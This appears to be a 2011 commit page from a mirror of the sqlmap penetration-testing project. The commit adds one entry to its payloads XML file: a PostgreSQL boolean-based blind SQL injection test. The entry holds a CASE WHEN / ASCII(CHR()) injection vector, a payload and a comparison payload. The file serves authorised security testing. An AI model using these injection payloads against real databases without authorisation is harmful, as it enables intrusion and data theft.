sqlmapproject/sqlmap
1
1
Fork 0
mirror of https://github.com/sqlmapproject/sqlmap.git synced 2024-11-25 19:13:48 +03:00
Code Issues Packages Projects Releases Wiki Activity

new payload - PostgreSQL boolean-based blind - Parameter replace (based on CHR(0) - "SQL error: ERROR: null character not permitted")

Browse Source
This commit is contained in:
Miroslav Stampar 2011-01-24 22:28:54 +00:00
parent 9f76468005
commit 8155f95b82
1 changed files with 16 additions and 0 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

16
xml/payloads.xml
View File

@ -725,6 +725,22 @@ Formats:
<dbms>Oracle</dbms>
</details>
</test>
<test>
<title>PostgreSQL boolean-based blind - Parameter replace</title>
<stype>1</stype>
<level>3</level>
<risk>1</risk>
<clause>1,2,3</clause>
<where>3</where>
<vector>ASCII(CHR(CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE 0 END))</vector>
<request>
<payload>ASCII(CHR(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE 0 END))</payload>
</request>
<response>
<comparison>ASCII(CHR(CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE 0 END))</comparison>
</response>
</test>
<!-- TODO: check against Microsoft Access and SAP MaxDB -->
<!-- End of boolean-based blind tests - Parameter replace -->